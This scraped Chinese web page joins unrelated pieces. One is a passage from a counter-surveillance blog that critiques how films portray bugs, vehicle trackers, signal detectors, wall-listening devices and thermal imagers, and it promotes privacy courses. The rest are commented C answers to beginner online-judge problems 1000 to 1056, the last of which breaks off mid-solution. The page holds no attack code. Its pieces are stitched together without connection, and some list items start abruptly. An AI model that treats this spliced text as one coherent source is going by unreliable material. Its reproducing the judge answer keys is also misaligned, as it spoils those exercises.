唯一的小问题就是这个绿色的指示灯,实际中不会将这种指示灯暴露在器材外面,不过考虑到是给观众说明处于开机状态,倒也能理解。 至于为什么这么容易就找到,呵呵,因为容易部署的相对就容易找到,对不对,L2的童鞋们:)还记得车辆检测实验么? 在香港电影《窃听风云2》里,一个金融圈大佬请了专业公司开展车辆安全检测,发现了车辆跟踪器。 专业+4:如下图所示,基于SIM卡的车辆跟踪器的确有这么小的体积,不过一般出于防水及部署方便,不会这么将电池裸露,通常还是会封装起来。这里考虑到电影里需要给观众做展示,所以杨叔就不吹毛求疵了。 0x04 物理安全检测 商业反窃密/商业隐私保护/企业办公室及会议室安全相关 美国电影《全民公敌》(又名《国家的敌人》)绝对是一部真实再现监控技术的大片,非常推荐。 影片里有太多亮点,杨叔就说一个场景: 在电影里,史密斯和某个反窃密专家见面,对方先掏出一个小设备做信号检查,当设备响起告警声,专家从史密斯鞋底抠出一个窃听器。 专业+5:如上图所示,这是一个标准的“信号/场强检测”设备,这个手法细节也是行业人士才会用到的。 哈哈,L2的学员们一定知道杨叔在说什么,毕竟大家在『Level-2高级隐私保护认证课程』的10多个封闭试验里,已经反复练习过一系列手持信号检测设备的使用。 我们再回到《窃听风云2》,有这样一个场景: 一群投资圈大佬听闻自己可能被监听,直接安排人手在办公室里开展地毯式物理安全检测。 专业+6:如下图所示,虽然看不到太多专业设备,但影片中确实再现了一小部分专业检测场景,比如使用早期的非线性检测设备,检查天花板顶部边缘是否有非法器材。这一段是非常真实的,戴着耳机操作非线性节点探测仪的人员很专业。 错误+4:这些检测设备倒是没什么问题,但是,影片中“负责人在现场打电话汇报”这个场景,可就违反了标准商业安全检测的规定。 作为我们RC²的商业安全检测小组,会和客户明确一系列商业安全检测的配合要求,其中重要的一项就是“无论甲方乙方,检测现场均不得使用手机”,因为需要对整个检测全程保持无线信号监测,所以不希望有现场人员的手机导致干扰和误判。 作为一个30平米办公室就要花费2小时左右的“全程无线信号监测”这项工作,就可以区分出很多所谓的专业团队......这也是不久前杨叔接受某报采访时,坚持对记者说宁肯不报道,也不要把RC²和一些没有流程标准的噱头公司写在一起的原因。 我们不需要靠媒体包装来证明自己专业,那些大客户的安全部门,在采购RC²服务前都做了市场调查和商业口碑对比,他们心里都知道。 0x05 随身防窃听 商业反窃密/隐私保护/通信防监听相关 在电影《窃听风云3》里,古天乐从刘青云身上搜出一个小盒子,吴彦祖立刻说这个小盒子是反窃听器,在10米范围内若有窃听信号就会震动告警。 错误+5:如下图所示,这么神奇的小设备,居然拆开来放一个小元器件就被废掉了,Amazing?!莫非放进去的是强磁器件咩?还是特殊EMP电容? 记得几年前,在一次和国内一线行业专家的交流中,杨叔专门就这个设备询问了几位从事反窃密领域二十多年的技术/器材专家,对方表示这都是电影艺术的加工,根本没这个玩意。 PS:一个勉强和它体积及功能匹配的,是一款来自俄罗斯的高端便携手持信号分析器,和车辆无线钥匙扣差不多大小,可以全自动分析周边信号最强的是10个信号源,并自动识别信号类型是2G、无线电还是WiFi等。 这款设备杨叔在L2课程上给学员展示过,比较适合商务人士,对于专业人士来说,这玩意就有些鸡肋了 0x06 物理隔墙听 商业反窃密/办公室反窃密/隐私保护相关 韩国电影《特工》(又名北风/北寒谍战)里描述的是中国改革开放初期,来自南韩和北朝鲜的间谍们在中国北京及朝鲜平壤间展开的一系列骚操作。该片斩获了第39届韩国电影青龙奖、第13届亚洲电影大奖等多个奖项。 专业+7:如下图所示,有这么一个片段,南韩间谍使用了军用型室内音频放大器(行业术语:“隔墙听”)透过天花板的预制水泥板,来偷听上层会客室内几位大佬的聊天内容。 这类设备的原理很简单,类似于听诊器,区别是加入了电子降噪及放大的能力。但是数万元的高性能设备,和几百元几千元的低端产品之间的效果差距非常大。影片中展现的国安级设备非常专业。 在L2隐私保护课程中,学员们也学习过这类器材的防御方式,这里就不再重复。 下图是RC²和“全日本综合调查业协会”交流商业调查员器材,其中就有商业级“隔墙听”。 0x07 隔墙人体探测 商业反窃密/个人隐私保护相关 在电影《速度与激情:全球行动》中,巨石强森曾使用一款手持热成像仪,秀了下隔墙探测人体活动。 哭笑不得的是,真的有几位L2学员专门留言和私信杨叔,询问这款产品是不是真的能透墙。 错误+6:杨叔专门翻看了美国FLIR的官网,查询了这款型号为FLIR E6的手持热成像仪所有参数。 遗憾的是,虽然其价格高达人民币2万以上,但作为一款仅用于工业用途的热成像仪,对于上图中的这么厚的金属门,明显是电影夸大而已(木门或者特效处理)。 即使是性能更优异的消防员专用FLIR K2型热成像仪,也只能做到在火焰中识别人体,并不能透过墙体。 而且,杨叔在参加法国巴黎的全球最大军警装备展Milipol Paris 2019时,见过军用级用于特种作战的透墙仪,在体积上也做不到这么小,且透传率这么高的。 其实在RC²的“Level-2商业安全认证课程”中,专门安排了学员体验FLIR的手持热成像仪的实验环节,就是为了帮助学员理解设备原理和局限性,不要被一些莫名其妙的外行说法,影响了正常的判断。
  9. 前言 郑轻OJ题解快速入口 郑轻OJ前50答案解析快速入口 郑轻OJ前50题答案+详细解析 2年前4488918 郑州OJ51-100答案解析快速入口 郑轻OJ51~100题答案+详细解析 2年前2407218 郑州OJ101-150答案解析快速入口 郑轻OJ101~150题答案+详细解析【已更新】 2年前024148 郑州OJ151-200答案解析快速入口 郑轻OJ151-200题答案+详细解析 1年前09559 部分难题题解快速入口 郑轻OJ1081: n个数求和 (多实例测试)详细解析 郑轻OJ1081: n个数求和 (多实例测试)详细解析 2年前019015 郑州轻工业OJ1089: 阶乘的最高位详细解析三份答案! 郑州轻工业OJ1089: 阶乘的最高位详细解析三份答案! 2年前12298 初遇函数题1092: 素数表(函数专题初遇函数题新手必看解析 初遇函数题1092: 素数表(函数专题初遇函数题新手必看解析 2年前128214 难度较高的96水仙花数(函数专题)解析
  10. 前言: 郑轻OJ题解acm.zzuli.edu.cn 安装和配置C语言 Dev c++安装环境配置【配置较简单】另一个学习C语言编译工具 2年前0168176 VScode安装配置环境-全网原创最详细教程【学习C语言第一步!】 2年前0140160 建议二者都安装(先安装Dev c++因为配置较简单) 1000: 从今天开始入坑C语言 #include <stdio.h> int main() { printf("从今天开始入坑C语言"); return 0; } 1001:整数a+b #include<stdio.h> int main() { int a,b;//定义整形数据a,b scanf("%d %d",&a,&b);//从键盘读入a,b printf("%d",a+b);//输出a,b的和 return 0;//正常退出 } 1002:简单多项式求值 #include<stdio.h> int main() { int x;//定义整型x scanf("%d",&x);//从键盘读入x的值 printf("%d",2*x*x+x+8); return 0;//正常退出 } 1003:两个整数的四则运算 #include<stdio.h> int main() { int num1,num2;//定义整形数据num1,num2 scanf("%d%d",&num1,&num2);//从键盘读入num1,num2 printf("%d %d %d %d %d",num1+num2,num1-num2,num1*num2,num1/num2,num1%num2);//输出两个数的和、差、积、商及余数 return 0;//正常退出 } 1004:三位数的数位分离 #include<stdio.h> int main() { int x; scanf("%d",&x);//这是从键盘读入x printf("%d %d %d\n",x%10,(x/10)%10,(x/100)); // 依次输出个位、十位、百位上的数字。 return 0; } //是注释部分哦 ,前面这几个题不怎么难呢~ 加油 冲冲冲!! 1005: 整数幂 #include<stdio.h> int main() { int a,b,c; scanf("%d %d %d",&a,&b,&c); printf("%-9d%-9d%-9d\n",a,a*a,a*a*a);//第一行,中间不要加空格。 printf("%-9d%-9d%-9d\n",b,b*b,b*b*b); printf("%-9d%-9d%-9d\n",c,c*c,c*c*c); return 0; } 1006:求等差数列的和 #include<stdio.h> int main() { int a,b,c; scanf("%d %d %d",&a,&b,&c);//键盘输入首项a,末项b,公差c printf("%d",(a+b)*((b-a)/c+1)/2); return 0;//正常结束 } 运用公式(a1+an)*n/2,a是首项,b是末项,求出项数,计算即可 啊你得记住等差公式 先在演草本上算算~ 继续往下干!冲啊! 1007:鸡兔同笼 答案1: #include<stdio.h> int main() { int m,n,x,y; scanf("%d %d",&m,&n);//键盘输入头的数量m,脚的数量n的值 x=2*m-n/2; //鸡的个数x y=n/2-m;//兔子的个数y printf("%d %d",x,y);//输出鸡的个数x和兔子的个数y return 0;//正常结束 } 本题多解,Godyu此题用的其他方法解的,,但是找不到以前写的了 这个写法也挺简单的 1008:美元和人民币 #include<stdio.h> int main() { double a,b;//定义两个双浮点数a,b scanf("%lf",&a);//键盘输入a的值 b=a*6.5573;//根据题目单位换算 printf("%.2lf",b);//格式化输出b,两位小数 return 0;//正常退出 } 此次用到双浮点数 我这里直接附带上咱老大哥翁恺的介绍~ 1009 :求平均分 #include <stdio.h> int main() { int a,b,c; scanf("%d %d %d",&a,&b,&c); float d=1.0*(a+b+c)/3; printf("%.2f\n",d); return 0; } double为双浮点数对应lf -float单浮点数对应f 1010:求圆的周长和面积 #include<stdio.h> #define PI 3.14159//宏定义PI,类似于定义变量并且赋初值 int main() { double r;//定义实型变量r scanf("%lf",&r);//键盘输入r printf("%.2lf %.2lf",PI*2*r,PI*r*r);//输出半径为r的圆的周长和面积 return 0;//正常退出 } 1011:圆柱体表面积 #include<stdio.h> #define PI 3.14159//宏定义PI,类似于定义变量并且赋初值 int main() { double r,h;//定义整型变量r和h scanf("%lf %lf",&r,&h);//键盘输入r和h printf("%.2lf",PI*2*r*r+PI*2*r*h);//计算并输出圆柱体的表面积 return 0;//正常退出 } 1012:求绝对值 #include<stdio.h> #include<math.h> int main() { double a,b;//定义实型变量a,b;其中a为输入值,b为求得的绝对值 scanf("%lf",&a);//键盘输入a b=fabs(a);//为b赋值为函数fabs执行后的值 printf("%.2lf",b);//输出绝对值 } 此题用到函数fabs-用法在//上 注意用到数学函数前面必须加数学函数头文件! 1013:求两点间距离 #include<stdio.h> #include<math.h> int main() { double x1,x2,y1,y2,d;//定义五个实型变量,d表示两点距离 scanf("%lf %lf %lf %lf",&x1,&y1,&x2,&y2);//键盘输入两点的横纵坐标 d=sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2));//运用sqrt函数进行计算两点间的距离 printf("%.2lf",d);//输出两点间的距离,保留两位小数 return 0;//正常退出 } 再次用到数学函数sqrt 进行开根号(要用数学函数噢) 1014:求三角形的面积 #include<stdio.h> #include<math.h> int main() { double a,b,c,p,S;//定义五个实型变量 scanf("%lf %lf %lf",&a,&b,&c);//键盘输入三角形的三边值 p=0.5*(a+b+c);//p为半周长 S=sqrt(p*(p-a)*(p-b)*(p-c));//海伦公式计算面积S printf("%.2lf",S);//输出三角形的面积值S return 0;//正常退出 } 我们初高中都学过海伦公式 不知道你忘了没~ 1015:计算时间间隔 #include<stdio.h> int main() { int m1, n1, t1, m2, n2, t2; scanf("%d:%d:%d", &m1, &n1, &t1); scanf("%d:%d:%d", &m2, &n2, &t2); printf("%d\n", 3600 * (m2 - m1) + 60 * (n2 - n1) + 1 * (t2 - t1)); return 0; } 本题感谢评论区校友提醒改正,scanf_s主流编译软件只有vs studio能识别 #include<stdio.h> int main() { int a1,a2,b1,b2,c1,c2,t;//定义整型变量 scanf("%d:%d:%d\n%d:%d:%d",&a1,&b1,&c1,&a2,&b2,&c2);//键盘输入格式要求的值 //这里分号记得按照英文:而不能中文符号:不然会报错 t=a2*3600+b2*60+c2-(a1*3600+b1*60+c1);//计算时间间隔t printf("%d",t);//输出时间间隔 return 0;//正常退出 } 1016:银行利率 #include<stdio.h> #include<math.h> int main() { double a,b,c;//定义实型变量a,b,c;a也可以定义为整型变量。这和类型强制转换有关系。 scanf("%lf %lf",&a,&b);//键盘输入存款年数a,和本金b c=pow(1.0225,a);//计算按照利率存一定年数后,钱数和本金间的关系 printf("%.6lf",c*b);//输出在银行存款收益 return 0;//正常退出 } POW,是C、C++中的数学函数,功能为计算x的y次幂,返回幂指数的结果-来自百度搜索 本次使用到数学中的pow函数噢!~ 1017:判断正整数位数 #include <stdio.h> #include <math.h> int main() { double a; scanf("%lf",&a); int c=log10(a)+1; printf("%d",c); return 0; } 本题用到log函数 用法如题目所示 1018:奇数偶数 #include<stdio.h> int main() { int x;//定义整型变量x scanf("%d",&x);//键盘输入x if(x%2==0)//如果对二取余结果等于0 printf("even");//输出even else//否则 printf("odd");//输出odd return 0;//正常退出 } 1019:公园门票 #include<stdio.h> int main() { int x;//定义整型变量x scanf("%d",&x);//键盘输入购票数量x if(x>=30)//如果购票数量x大于30 printf("%d",48*x);//输出每张门票48元的计算结果 else//否则 printf("%d",50*x);//输出每张门票50元的计算结果 return 0;//正常退出 } 1020:两整数排序 #include<stdio.h> int main() { int x,y;//定义整型变量x,y scanf("%d %d",&x,&y);//键盘输入数字x,y if(x>y)//如果第一个数比第二个数大 printf("%d %d",y,x);//先输出第二个数 else//否则 printf("%d %d",x,y);//先输出第一个数 return 0;//正常退出 } 1021:三个整数的最大值 (来自翁恺)的交换法~下一题要用到噢 以后做其他题也要用到请同学认真观看! 答案2: #include<stdio.h> int main() { int a,b,c,max;//定义四个整型变量a,b,c和max scanf("%d %d %d",&a,&b,&c);//键盘读入a,b,c的值 max=(a>b)?a:b;//判断a是否大于b,如果大于就max=a,否则max=b max=(c>max)?c:max;//判断c是否大于max,如果大于就max=c,否则max不变 printf("%d",max);//输出max的值 return 0;//程序正常退出 } 1022:三整数排 #include<stdio.h> int main() { int a,b,c,t;//定义四个整型变量a,b,c和t,t的作用是中转 scanf("%d %d %d",&a,&b,&c);//键盘读入a,b,c的值 //从大到小输出三个数,就把三个数最大的给a,最小的给c,再依次输出a,b,c即可 //这种情况,a是比b大的,所以如果不是,那就让这两个数交换值 if(b>a) {t=a; a=b; b=t;} //同理,a应该比c也大,再比较a和c的值,看看是否符合 if(c>a) {t=a; a=c; c=t;} //完成上面两步,a是最大的了,b和c两个数中,谁小谁应该是c if(c>b) {t=c; c=b; b=t;} printf("%d %d %d",a,b,c);//输出已经排好序的三个数的值即可 return 0;//程序正常退出 } 猜出你可能不懂~(第一次学Godyu也不懂,反复观看才懂-也可以看B站其他人解法(个人认为b站有的人关于此题讲的比他好,后期我会更换翁恺单独讲的这题) 1023:大小写转换 #include<stdio.h> int main() { char ch;//定义一个字符型变量ch scanf("%c",&ch);//键盘读入a的值 if(ch>='a'&&ch<='z')//如果字符的范围在a-z之间 ch-=32;//根据ASCII表发现小写字母比其大写大32,减去32就输出了对应的值 printf("%c",ch);//输出字符ch变化后的值 return 0;//程序正常退出 } 1024:计算字母序号 #include<stdio.h> int main() { char ch;//定义一个字符型变量ch scanf("%c",&ch);//键盘读入a的值 if(ch>='a'&&ch<='z')//如果字符的范围在a-z之间 ch-=32;//根据ASCII表发现小写字母比其大写大32,减去32就输出了对应的值 printf("%d",ch-64);//这时字母全部变为大写按照整型,输出字符ch-64后的值 //也可以用语句:printf("%d",ch-'A'+1);这里的A要用''圈起来,表示字符 /* if(ch>='a'&&ch<='z')//如果字符的范围在a-z之间 printf("%d",ch-'a'+1); else if(ch>='A'&&ch<='Z')//否则如果字符的范围在A-Z之间 printf("%d",ch-'A'+1); */ return 0;//程序正常退出 } 本题也是对条件语句的考察,字符型char,用到char,以及格式化输出,我们可以把char按照%d输出,再看这一题,可以根据1023代码改写。先都转化为小写进行计算,也可以直接大小写分开算,那么这个序号如何实现呢?先大小写转化后,因为a是65,那么直接减去64,每个序号也都出来了。或者根据表中顺序,a最小,那么我们可以每个都减去a,发现这样的26字母分别对应0-25,再都+1就符合题意。再或者将大小写分开运算也可以。-梦启源 1025:最大字符 #include<stdio.h> int main() { char a; char b; char c;//定义三个字符变量a,b,c scanf("%c %c %c",&a,&b,&c);//键盘读入三个字符变量 //这里为了防止出现问题一定要记得加 分隔 //逐个读取时候可以穿插两个getchar()语句,吸收掉空格 if(a>=b&&a>=c)//如果a比两个都大 printf("%c",a); if(b>=a&&b>=c)//如果b比两个都大 printf("%c",b); if(c>=a&&c>=b)//如果c比两个都大 printf("%c",c); return 0;//程序正常退出 } 1026:字符类型判断 #include<stdio.h> int main() { char ch;//定义字符变量ch scanf("%c",&ch);//键盘输入ch的值 if(ch>='a'&&ch<='z')//如果ch属于小写字母 printf("lower"); else if(ch>='A'&&ch<='Z')//如果ch属于大写字母 printf("upper"); else if(ch>='0'&&ch<='9')//如果ch属于数字 printf("digit"); else//否则 printf("other"); return 0;//程序正常退出 } 1027:判断水仙花数 #include<stdio.h> int main() { int a,b,c,d;//定义abcd其中a是输入的数字,bcd储存各个位上的数字 scanf("%d",&a);//键盘输入a b=a%10;//b储存个位数字 c=(a/10)%10;//c储存十位数字 d=(a/100)%10;//d储存百位数字 if(a==c*c*c+b*b*b+d*d*d)//如果a满足水仙花数的条件 printf("yes"); else//否则 printf("no"); return 0;//程序正常退出 } 1028:I love 闰年! 不得不说这题挺费脑筋的 我们得知道闰年是怎么判断的 什么年是闰年,并不是每四年都是闰年,如果是百年,要是四百的倍数才是闰年,比如1900年就不是闰年。 1.能被4整除而不能被100整除 2.能被400整除的 #include<stdio.h> int main() { int x;//定义年份x scanf("%d",&x);//键盘输入x if((x%400)==0||(x%4==0&&x%100!=0))//如果符合闰年条件 printf("Yes"); else//否则 printf("No"); return 0;//程序正常退出 } 1029:三角形判定 #include<stdio.h> int main() { int a,b,c;//定义三角形三边长abc scanf("%d %d %d",&a,&b,&c);//键盘输入abc if((a+b)>c&&(b+c)>a&&(c+a)>b)//如果能构成三角形 printf("Yes"); else//否则 printf("No"); return 0;//程序正常退出 } 1030:判断直角三角形 #include<stdio.h> int main() { int a,b,c;//定义三边长abc scanf("%d %d %d",&a,&b,&c);//键盘输入三边abc if((b*b==c*c+a*a)||(a*a==b*b+c*c)||(c*c==b*b+a*a))//如果满足勾股定理 printf("yes"); else//否则 printf("no"); return 0;//程序正常退出 } 1031:判断点在第几象限 #include<stdio.h> int main() { int x,y;//定义点的横纵坐标值x和y scanf("%d %d",&x,&y);//键盘输入点的横纵坐标值 if(x>0&&y>0)//如果点在第一象限 printf("1"); else if(x<0&&y>0)//如果点在第二象限 printf("2"); else if(x<0&&y<0)//如果点在第三象限 printf("3"); else if(x>0&&y<0)//如果点在第四象限 printf("4"); return 0;//程序正常退出 } 1032:员工薪水 #include<stdio.h> int main() { double n,s;//用n表示销售额,s表示工资,double范围更大,精度更高 scanf("%lf",&n);//输入销售额 if(n<=10000)//如果销售额小于1w元 { s=1500+n*0.05; printf("%.2f",s); } else if(n>10000&&n<=50000)//如果销售额在1w-5w元之间 { s=2000+(n-10000)*0.03; printf("%.2f",s); } else if(n>50000)//如果销售额大于5w元 { s=3200+(n-50000)*0.02; printf("%.2f",s); } return 0;//程序正常退出 } 1033:五级制成绩 #include<stdio.h> int main() { double n;//定义一个成绩n scanf("%lf",&n);//键盘输入n的值 if(n>=90)//如果n大于等于90 printf("A"); else if(n>=80&&n<90)//如果n大于等于80 printf("B"); else if(n>=70&&n<80)//如果n大于等于70 printf("C"); else if(n>=60&&n<70)//如果n大于等于60 printf("D"); else if(n<60)//如果n小于60 printf("E"); return 0;//程序正常退出 } 1034:夏季促销 #include<stdio.h> int main() { double n;//定义一个购物金额n scanf("%lf",&n);//键盘输入n的值 if(n>=5000)//如果购物金额是5000+ printf("%.2lf",n*0.8); else if(n>=3000&&n<5000)//如果购物金额是3000-5000 printf("%.2lf",n*0.85); else if(n>=1000&&n<3000)//如果购物金额是1000-3000 printf("%.2lf",n*0.9); else if(n>=500&&n<1000)//如果购物金额是500-1000 printf("%.2lf",n*0.95); else if(n<500)//如果购物金额小于500 printf("%.2lf",n); return 0;//程序正常退出 } 1035:分段函数求值 #include<stdio.h> #include<math.h> int main() { int x,y;//定义整数x和函数结果y scanf("%d",&x);//输入整数x if(x>=3)//如果x满足条件1 { y=3*x+4; printf("%d",y); } if(x<-2)//如果x满足条件2 { y=7-2*x; printf("%d",y); } if(x>=-2&&x<3)//如果x满足条件3 { y=5-fabs(3*x+2); printf("%d",y); } return 0;//程序正常退出 } 1036:某年某月有多少天 #include<stdio.h> int main() { int a,b;//定义年份a和月份b scanf("%d %d",&a,&b);//键盘输入年份 a和月份 b的值 switch(b) {case 1: case 3: case 5: case 7: case 8: case 10: case 12: printf("31");//根据规律1.3.5.7.8.10.12是31天 break; case 2://特殊的2月要进行判断 if(a%400==0||a%4==0&&a%100!=0)//闰年判断,符合输出29 printf ("29"); else//不符合输出28 printf ("28"); break; default: printf("30");//其他情况输入30 break;} return 0;//程序正常退出 } 1037:四则运算 #include<stdio.h> #include<math.h> int main() { double s1,s2;//定义实数s1和s2 char op;//定义操作运算符op scanf("%lf %c %lf",&s1,&op,&s2);//键盘按照要求读入三者的值 switch(op) { case'+':printf("%.2lf",s1+s2);break;//加号就加法运算 case'-':printf("%.2lf",s1-s2);break;//减号就减法运算 case'*':printf("%.2lf",s1*s2);break;//称号就乘法运算 case'/': //除运算特殊一点,原因是对于0的数据处理 if(fabs(s2)>1e-10)//如果被除数不是0 printf("%.2lf",s1/s2);//进行除法运算 else //说明被除数为0 printf("Wrong input!");break;//输出错误输入提示 default:printf("Wrong input!");break;//如果不符合四则运算要求,也输出错误输入提示 } return 0;//程序正常退出 } 1038:绝对值最大 #include<stdio.h> #include<math.h> int main() { int a,b,c,max,x;//定义abc三个数字和绝对值最大值max以及输出结果x scanf("%d %d %d",&a,&b,&c);//键盘输入abc max=fabs(a);//默认使max等于a的绝对值 x=a;//并默认输出结果x等于a if(fabs(b)>max)//如果b的绝对值比max大,执行替换max和x的操作 { max=fabs(b); x=b; } if(fabs(c)>max)//如果c的绝对值比max大,执行替换max和x的操作 { max=fabs(c); x=c; } printf("%d",x);//输出结果x return 0;//程序正常退出 } 1039:n个数求和 #include<stdio.h> int main() { int i,n,x,sum;//定义循环变量i,输入次数n和每次的数字x以及和sum scanf("%d\n",&n);//键盘输入输入次数n sum=0;//sum初始化为0 for(i=1;i<=n;i++)//令i=1,每次循环加1,直到i不小于x { scanf("%d",&x);//键盘输入数字x的值 sum+=x;//sum每次累加x的值 //这里sum+=x就是sum=sum+x的意思 } printf("%d",sum);//将累加和sum输出 return 0;//程序正常退出 } 1040:数列求和1 #include<stdio.h> int main() { int n,i;//定义数字n和循环次数i double z,m,sum;//定义分子z和分母m以及和sum scanf("%d",&n);//键盘输入数字n的值 sum=0,m=1,z=1;//给分子分母和赋初值,这个操作也可以在定义时实现 /*也可以分开赋值写成 sum=0; m=1; z=1;*/ for(i=1;i<=n;i++)//循环n次 { sum=sum+1.0*z/m;//sum每次进行累加计算 m=m+2;//分母每次+2 z=z;//分子不变等于1 } /*这里的sum在前面累加也完全可以放在分子分母发生变化之后 sum=0,m=-1,z=1; for(i=0;i<n;i++)//不同的语句顺序在不同条件下可以实现相同的功能 { m=m+2;//分母每次+2 z=z;//分子不变等于1 sum=sum+1.0*z/m;//sum每次进行累加计算 } */ printf("%.2lf",sum);//输出结果h的值,保留两位小数 return 0;//程序正常退出 } 1041:数列求和2 #include<stdio.h> int main() { int n,i;//定义数字n和循环次数i double z,m,sum,f;//定义分子z和分母m以及和sum,还有符号f scanf("%d",&n);//键盘输入数字n的值 sum=0,m=1,z=1,f=1;//给分子分母和赋初值,这个操作也可以在定义时实现 for(i=1;i<=n;i++)//循环n次 { sum=sum+1.0*f*z/m;//sum每次进行累加计算 m=m+2;//分母每次+2 z=z;//分子不变等于1 f=-f;//符号每次改变一次 } printf("%.2lf",sum);//输出结果h的值,保留两位小数 return 0;//程序正常退出 } 1042:数列求和3 #include<stdio.h> int main() { int n,i;//定义数字n和循环次数i double z,m,sum,f;//定义分子z和分母m以及和sum,还有符号f scanf("%d",&n);//键盘输入数字n的值 sum=0,m=1,z=1,f=1;//给分子分母和赋初值,这个操作也可以在定义时实现 for(i=1;i<=n;i++)//循环n次 { sum=sum+f*z/m;//sum每次进行累加计算 m=m+2;//分母每次+2 z=z+1;//分子每次加1 f=-f;//符号每次改变一次 } printf("%.3lf",sum);//输出结果h的值,保留三位小数 return 0;//程序正常退出 } 1043:最大值 #include<stdio.h> #include<limits.h>//新的头文件引入 int main() { int i,n,x,max;//定义整型循环计数变量i,循环次数n,每次的数字x和最大值max scanf("%d",&n);//键盘输入n的值 max=INT_MIN;//使max初值为int范围的最小值-2^31, //也可以写max=-2147483647-1,这里的max不能直接写-2147483648因为会超出储存范围 for(i=1;i<=n;i++) { scanf("%d",&x);//键盘输入数字x max=(max>x)?max:x;//如果新的x比max大,那么给max赋新值 } printf("%d",max);//输出最大值max return 0;//程序正常退出 } 1044:不及格率 #include<stdio.h> int main() { int sum,x,i,n;//定义不合格总和sum,每个成绩x,循环变量i以及循环次数n scanf("%d",&n);//键盘输入循环次数也即总人数n sum=0;//总和初始化为0 for(i=1;i<=n;i++) { scanf("%d",&x); if(x<60) sum=sum+1;//成绩不合格总和就加一 continue; } printf("%.2lf",(double)sum/n);//输出两位小数的结果,这里注意强制转换的实现 return 0;//程序正常退出 } 1045:数值统计 #include<stdio.h> int main() { int n,i,x;//定义数字数n,循环变量i,以及数字x int z,f,l;//定义用来统计的正数z,负数f,和零l scanf("%d",&n);//键盘输入n z=f=l=0;//给每个统计结果初始化 for(i=1;i<=n;i++) { scanf("%d",&x);//输入x的值,然后开始判断 if(x>0) z=z+1; else if(x<0) f=f+1; else l=l+1; } printf("%d %d %d",f,l,z);//输出负数,0,和正数的个数 return 0;//程序正常退出 } 1046:奇数的乘积 #include<stdio.h> int main() { int i,n,x,product;//定义循环变量i,循环次数n,数字x,以及积product scanf("%d",&n);//键盘输入n product=1;//积初始化为1 for(i=1;i<=n;i++) { scanf("%d",&x); if(x%2==1)//如果x是奇数 product*=x;//进行累乘 } printf("%d",product);//输出奇数之积product return 0;//程序正常退出 } 1047;对数表 #include<stdio.h> #include<math.h> int main() { int i,n,m,x;//定义循环变量i,以及两个数n和m,和输出结果x double y;//以及对数结果y scanf("%d %d",&n,&m);//键盘输入n和m for(i=n;i<=m;i++) { x=i;//令x等于i y=log(x);//y等于x取对数 printf("%4d%8.4lf\n",x,y);//按照格式输出结果 } } 1048:阶乘表 #include<stdio.h> int main() { int i,n;//定义整型循环变量i和数字n double factorial;//定义阶乘结果factorial scanf("%d",&n);//输入数字n factorial=1.0;//初始化阶乘值1 for(i=1;i<=n;i++) { factorial=factorial*i; //每次都进行阶乘运算 printf("%-4d%-20.0lf\n",i,factorial);//输出符合格式的阶乘结果 } } 1049:平方和与立方和 #include<stdio.h> int main() { int i,n,m,x,y;//定义循环变量i,以及两个数n和m,和输出结果平方和x,立方和y scanf("%d %d",&m,&n);//输入m和n的值 x=0; y=0;//初始化x和y for(i=m;i<=n;i++) { if(i%2==0) x=x+i*i; else y=y+i*i*i; } printf("%d %d",x,y); } 1050:阶乘的累加和 #include<stdio.h> int main() { int n,i;//定义数字n和循环变量i double fact,sum;//定义阶乘结果fact和累加和sum scanf("%d",&n);//键盘输入n的值 fact=1.0; sum=0;//初始化fact和sum for(i=1;i<=n;i++) { fact=fact*i;//计算阶乘 sum=sum+fact;//累加阶乘和 } printf("%.0lf",sum);//输出阶乘的累加和 return 0;//程序正常退出 }
  11. 对于代码的疑问和改进欢迎交流和讨论,QQ:3153233088 后续注释会有的 1051: 平方根的和 这里介绍两种开平方根的方法,都需要用到头文件<math.h> 1.sqrt函数,专门开平方根的函数 2.pow函数,这是一个求任意次方的函数,可以用pow(n,0.5)来求n的平方根。 #include <stdio.h> #include <math.h> int main() { int i,n; double sum=0,item; scanf("%lf %d",&item,&n); //下循环在求item的同时进行累加 for(i=1;i<=n;i++) { sum=item+sum; item=sqrt(item);//把item定义为double就是防止开根后小数的损失 } printf("%.2lf",sum); return 0; } 1052: 数列求和4 两种方法在于对各项的理解和求法 #include<stdio.h> int main() { int n,a,sum=0,x=0;//sum代表和,x为项的值 scanf("%d%d",&n,&a); for(int i=1;i<=n;i++) { x=x*10+a;//从第二项开始,每一项就等于前一项乘以10再加a。第一项理解为0*10+a sum+=x; } printf("%d\n",sum); return 0; } #include <stdio.h> #include <math.h> int main() { int i,n,a,x=0,sum=0; scanf("%d %d",&n,&a); for(i=1;i<=n;i++){ x=x+a*pow(10,i-1);//从第二项开始,第i项a(i)=a(i-1)+a*10的(i-1)次方。第一项理解为0+a*10的0次方 sum+=x; } printf("%d",sum); return 0; } 1053: 正弦函数 #include <stdio.h> int main() { double x,fenzi,fenmu=1,sin=0; scanf("%lf",&x); fenzi=x;//第一项的值为X for(int i=1;i<=10;i++) { sin+=fenzi/fenmu;//每次输出到第i项的和,然后下面为第(i+1)项的分子分母 //例如第一次进入循环,直接输出第一项的值,然后下面为第二项的分子和分母 fenzi=fenzi*x*x*(-1);//相邻两项的符号不同,且后一项的分子等于前一项乘以x的平方 fenmu=fenmu*(i*2)*(i*2+1);//第(i+1)项等于第i项乘以(2*i)*(2*i+) } printf("%.3lf",sin); return 0; } 1054: 猴子吃桃 每天吃掉前一天剩余的一半加一个,第i天a(i)=a(i-1)/2-1。所以a(i-1)=(a(i)+1)*2; 那么从最后一天往前推第一天的桃子个数,只用循环这一过程 #include <stdio.h> int main() { int i,n; scanf("%d",&n); int all=1;//最后一天有1个桃子 for(i=1;i<n;i++) { all=(all+1)*2;//往前推前面一天的桃子数 } printf("%d",all); return 0; } 1055: 兔子繁殖问题 这个问题就是斐波那契数列,从第三项开始,每一项的值等于前两项的和,是一道经典的递推问题。 这里不采用定义函数来递推的方法,用更容易理解的方法 #include <stdio.h> int main() { int i,n,a=1,b=1,sum=0; scanf("%d",&n); //a表示一天之前的数量,b表示两天之前的数量 if(n==1||n==2) { sum=1;//前两天的数量均为1 } for(i=3;i<=n;i++) { sum=a+b;//让前两天的值相加得到这一天的值 b=a;//将一天之前的数量给b,更新了两天之前的数量 a=sum;//将这一天的数量给a,更新了一天之前的数量 } printf("%d",sum); return 0; } 1056: 幸运数字 #include <stdio.h> int main() { int m,n; scanf("%d %d",&m,&n); int i; int max=0; for(i=n;i>=m;i--)//由于需要输出最大的幸运数字,所以我们从最大数n开始遍历 { if(i%7==0&&i%4!=0)//是7的倍数并且不是4的倍数 